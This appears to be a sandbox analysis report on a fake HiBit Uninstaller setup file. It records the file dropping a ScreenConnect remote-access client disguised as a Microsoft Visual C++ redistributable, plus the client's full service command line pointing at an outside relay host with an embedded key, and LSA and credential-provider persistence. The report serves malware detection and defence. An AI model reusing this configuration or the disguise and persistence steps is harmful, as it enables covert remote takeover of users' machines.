f0b332ed4ff4f4dde04cf7463b6aba23d8cd3198bd763a627c5c196c2d775760

Analysis

max time kernel
149s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/10/2026, 23:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
HiBitUninstaller-setup-4.0.10\HiBitUninstaller-setup-4.0.10.exe
Size 74KB
Sample261006-25nvpsgh63
SHA256 f0b332ed4ff4f4dde04cf7463b6aba23d8cd3198bd763a627c5c196c2d775760
MD5 f6149c4c2c189c9d27e6e55a0017a7a0
SHA1 ed36d67f48a02c542e8f568215a14ef742527d79
SHA512 8bfec1cee5c92417a6cbcfd05036d5de012fa95a97e2becaaf5891de7642eab5e3634081cc6e05fe87fcf0821c04ccce59cf53daf10c2941f58f638c916319e8
SSDEEP 1536:DVRTTe6YkvCZI9NQUZzB0i6yJOvhvx0i6yJOvhvKHO5+8Tl2K:DVRTT3Ykqy9NQ6zn61vhv361vhvsO5+I
TLSH
T17B736A17A3694076E053063489F6CB86AA3B7953A33043CF1698A1AB1FB37C59E39774
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution installer persistence privilege_escalation revoked_codesign

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5040	powershell.exe

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\14.16.27012.6\ImagePath = "\"C:\\Program Files (x86)\\Microsoft Visual C++ 2017\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=support.open-port-online.xyz&p=8041&s=f9c18b3c-954d-4145-a1af-ab8666003b11&k=BgIAAACkAABSU0ExAAgAAAEAAQB9A8kI4PGsiz%2fxgCPU7NxM1XAo2cY%2brmPe6wbLscHgD8YTsAOqkKXJdHcMu5Rz5QXlRgdsIUkQByuiKIHfrKvRwrT1KvMArPwWZZbsVcb4OHUjASGG9Qf5%2bfULXGbEUXT7BmAHu3PBfJyIKGl4Lv7V0PV6S6hgI9c5kKaw3NCP2CxzSuCJncPiC1fkgcZlGlwuIk0QWlQ8VObGqOgLap7eU1WyCftTfNr3XVZObLKFGt0PzISRA%2fF9g1sNJs1R0jcK0KE%2bSzapCS9HP9dM%2brCO4TTY2ElSeNeWe44nfa%2br4eDTWeg0prhsMEVjnHqJxg0Uqt9qAq97g0oHQbS4SanP&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAIVnt%2bEEtRkSIvz%2flO2wgrgAAAAACAAAAAAAQZgAAAAEAACAAAADfLLk%2fbjlSH0T4TqMCpvlkKm65AIEci7rNcog6K5W6CgAAAAAOgAAAAAIAACAAAAAy5HSd3ViW3QlLNL82vFzaggx06Ua1Xym2tdAexO59waAEAABD%2bHowVQZCcoMV7Ox8bDUozKLh9OmSfIdj7Vh%2bRCJYVvGbtJRfUqhvGmp0cLpdAjOMRLsbWHRxUpjQznui33pmej%2fwzBRVFqV7l2BgCs2ArHDkQFmhFeKcz0EWMWMxk4jiCCaInVK1NsdYFQPlM0lxXa%2b82OtX%2fwrj1vKEIx%2bYqQu4tplPqJtXaFRsoRBzYJHi6Aw3146jKN8W%2bd9ycOPDwEwyXHsX4HG%2fRU7adXjL%2bTPtJKjxmuccJNcSxP2AMMxXf0oMkV5D%2bZTRDW3%2f%2bWdwdZlhZYoWHacAL6hTJe2cOsQ7lkXI%2fiInWwq40XZaxloAkNeHZkTUD9KkiWiCmRdaduVtdEDXkv8l2DVhxYiFhA%2ft%2fZ1ZMad4iQShTzkbTP%2fuV5PuN35gAkcCwACz5CNgEvtZkmtl2PUnTGgmlQPFtkExfoDE3Cj2WpWi7f55Ge1P5iBvMxKMzfJZn0mZEvZUWsp0J1idBuloShz0d4oUed15VibENQTItqc35PhqNEEy4683YGam5GLgIytheYl19FgKoJYY1zQ9Z55nMCnqEAfGwArXxVCynfawLpUmDKlfizCBNYIGCE8JXyL%2fqUyo4%2bP5JRi4bevwH5AuRdRV9Fw7jk%2bAlH0rkrPSs7rCv8PJX6Cd77ORZHjsqlyQ%2fDEYsXnZfKfYcOMxxB4n%2fVJe0XoxGTn9BsTNVaRTcBXr6HZNi%2bQguXdbv7o3HYyCsp1kNiSXpNx0rgi2%2bHgyydfnQYKV5ZqK%2bP%2fcxBZ1q6iTJHqHXjeoAp85Np%2f%2fPUOtbnnEiw2Yxne2930s8%2fsQ9i%2bLdplmaURJVfGAeRQMBZ1yF9X2NgI1UShw8bFGkTS7l3Cf17cMqSiZ%2bZ5HkVgHimZPF1tEndjkw84HZLurF4KeYOHb2KSLuXpWUo8zC%2fhYt4rI%2fKWguHJBFya8DCd2m3RpB8Rpo8CdRc2G5bjxYYGf2UrM5aCTyaJ8R6hAPEyo5UKNL3HEidM845jWErQfZqsV%2bstKisFV714eRwH7ye7BcMzpWT4EgHrTQj33gPaFFtCv0n9SOqci%2fr%2fFO%2fVg%2bs%2b4MJ6bbL96AJ1e8jAoyxkOOoXGsguigEvItPZGGubPRjU%2f%2fEzMoEU3BN%2bcBYkY%2bt5CLcjRru6bwyysgDtgD%2bPNDpoJB0tEZy18mAwinEdD2q7HbJsdUEDTU3OPXhxOyKGkXWvVPTupb6nuwDTIGiOlUxFjkD0iW79wgqGROnhKNxkiADqRQzWY3b3U74IpOvmQo0SPXueTUGBCT90Q2rjgTTsnSKCxscUeQM41KSsjQJLFemplm69ShCfmESTpjhrmkQvLBd4kop4wx6SYwJ0g9zunVq7rzR%2fWTKEGsyvxwTHLt1wlr59tl%2fdEwnMQrJDQdLfgfKVLNstWfM5BhXEkuQPH4cD%2bICudcwIkzLy%2b8lzfbUNPkyFsdmmzyEo0T6weriWyxkJAefSdLu8qK7Vu1xQRMzmnIf914FCrMiCBqu2L0I2Htjo%2bk31Fl4LW5dvOJYN0qofCWytujbMH%2b2ec56skRgAvLvkdzbbqoT41oUdqXNSBPkSmv7HEa84w%2bvVpHUAAAAArhRy3zlb6pOhRBJH8ElzYaAN5yrZRvEw9WYgUH6qwFCqW4rq9qf%2f2NyckPSAiYN8hc5OGMGia1zSSsVCjwPkV&c=HiBitUninstaller-setup-4.0.10\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 6 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral2/files/0x000d00000001c525-98.dat	revoked_cert_connectwise
behavioral2/files/0x000e00000001c51d-132.dat	revoked_cert_connectwise
behavioral2/files/0x000e00000001c522-134.dat	revoked_cert_connectwise
behavioral2/memory/4472-133-0x0000000004480000-0x00000000044C1000-memory.dmp	revoked_cert_connectwise
behavioral2/memory/4472-135-0x0000000004710000-0x00000000047EC000-memory.dmp	revoked_cert_connectwise
behavioral2/files/0x000e00000001c520-140.dat	revoked_cert_connectwise

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
	\??\F:\	msiexec.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4472	ScreenConnect.ClientService.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c004d006900630072006f0073006f00660074002000560069007300750061006c00200043002b002b00200032003000310037005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft Visual C++ 2017\oi3brlrh.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft Visual C++ 2017\oi3brlrh.tmp	ScreenConnect.ClientService.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Program Files directory 26 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\HiBit Uninstaller\HiBitUninstaller.exe	vcomp140.tmp
File created	C:\Program Files (x86)\HiBit Uninstaller\unins000.dat	vcomp140.tmp
File created	C:\Program Files (x86)\HiBit Uninstaller\is-GQ8O1.tmp	vcomp140.tmp
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\system.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\HiBit Uninstaller\unins000.dat	vcomp140.tmp
File created	C:\Program Files (x86)\HiBit Uninstaller\libeay32.dll	HiBitUninstaller.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\app.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\HiBit Uninstaller\is-IVBFI.tmp	vcomp140.tmp
File created	C:\Program Files (x86)\HiBit Uninstaller\ssleay32.dll	HiBitUninstaller.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2017\ScreenConnect.WindowsClient.exe	msiexec.exe

Drops file in Windows directory 37 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\TransformClientOverrideResx.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\TransformLicenseXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\TransformSecurityEventTriggerXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\SystemTemp\~DF4DF58B1F89CF322A.TMP	msiexec.exe
File created	C:\Windows\Installer\{E608C884-2F04-AFD2-1800-2D90CAE8D3AB}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\ScreenConnect.Core.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\TransformRoleXml.xsl	rundll32.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7DF2.tmp	msiexec.exe
File created	C:\Windows\Installer\e5962ac.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFBA73DB45D84B5948.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE9D68197E2C03343.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\wix{E608C884-2F04-AFD2-1800-2D90CAE8D3AB}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\{E608C884-2F04-AFD2-1800-2D90CAE8D3AB}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{79D068F5-40E4-3614-A683-E351DF40BEBD}\icon.ico	HiBitUninstaller.exe
File opened for modification	C:\Windows\Installer\{E608C884-2F04-AFD2-1800-2D90CAE8D3AB}\DefaultIcon	HiBitUninstaller.exe
File opened for modification	C:\Windows\Installer\e5962a8.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6CBB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\TransformWebConfig.xsl	rundll32.exe
File created	C:\Windows\SystemTemp\~DF111FCD5B522AC604.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7F3B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\TransformAppConfigXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\TransformOverriddenKeys.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\TransformSessionEventTriggerXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6651.tmp-\TransformSessionGroupXml.xsl	rundll32.exe
File created	C:\Windows\Installer\SourceHash{E608C884-2F04-AFD2-1800-2D90CAE8D3AB}	msiexec.exe
File created	C:\Windows\Installer\e5962a8.msi	msiexec.exe

Executes dropped EXE 5 IoCs

pid	Process
2788	vcomp140.tmp
4472	ScreenConnect.ClientService.exe
2608	ScreenConnect.WindowsClient.exe
1740	ScreenConnect.WindowsClient.exe
5348	HiBitUninstaller.exe

Loads dropped DLL 22 IoCs

pid	Process
4772	MsiExec.exe
1392	rundll32.exe
1392	rundll32.exe
1392	rundll32.exe
1392	rundll32.exe
1392	rundll32.exe
1392	rundll32.exe
1392	rundll32.exe
1392	rundll32.exe
1392	rundll32.exe
4772	MsiExec.exe
716	MsiExec.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	HiBitUninstaller.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	HiBitUninstaller.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HiBitUninstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vcomp140.dll
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vcomp140.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/3320-4-0x0000000000400000-0x0000000000415000-memory.dmp	innosetup
behavioral2/memory/3320-127-0x0000000000400000-0x0000000000415000-memory.dmp	innosetup
behavioral2/memory/3320-194-0x0000000000400000-0x0000000000415000-memory.dmp	innosetup

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\	HiBitUninstaller.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	HiBitUninstaller.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe

Modifies registry class 37 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f9196dd4e7e5a6e9\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f9196dd4e7e5a6e9\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-AC9E-36A0886AC71B}\ = "Microsoft Visual C++ 2017 Redistributable (x64) Credential Provider"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-AC9E-36A0886AC71B}\InprocServer32	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\AB75819D76C9B4059F91D64D7E5E6A9E\488C806E40F22DFA8100D209AC8E3DBA	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-f9196dd4e7e5a6e9\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f9196dd4e7e5a6e9\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f9196dd4e7e5a6e9\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-AC9E-36A0886AC71B}	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-AC9E-36A0886AC71B}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Visual C++ 2017\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\Version = "235956612"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-AC9E-36A0886AC71B}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\PackageCode = "488C806E40F22DFA8100D209AC8E3DBA"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\SourceList\PackageName = "SC5C30.tmp"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f9196dd4e7e5a6e9\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f9196dd4e7e5a6e9	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\488C806E40F22DFA8100D209AC8E3DBA\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\ProductName = "Microsoft Visual C++ 2017 Redistributable (x64)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-f9196dd4e7e5a6e9	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-f9196dd4e7e5a6e9\shell\open\command\ = "\"C:\\Program Files (x86)\\Microsoft Visual C++ 2017\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\ProductIcon = "C:\\Windows\\Installer\\{E608C884-2F04-AFD2-1800-2D90CAE8D3AB}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\488C806E40F22DFA8100D209AC8E3DBA	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\488C806E40F22DFA8100D209AC8E3DBA\Language = "1033"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\AB75819D76C9B4059F91D64D7E5E6A9E	msiexec.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
5040	powershell.exe
5040	powershell.exe
4956	msiexec.exe
4956	msiexec.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
4472	ScreenConnect.ClientService.exe
2788	vcomp140.tmp
2788	vcomp140.tmp

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5348	HiBitUninstaller.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5044	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5044	msiexec.exe
Token: SeSecurityPrivilege	4956	msiexec.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeCreateTokenPrivilege	5044	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5044	msiexec.exe
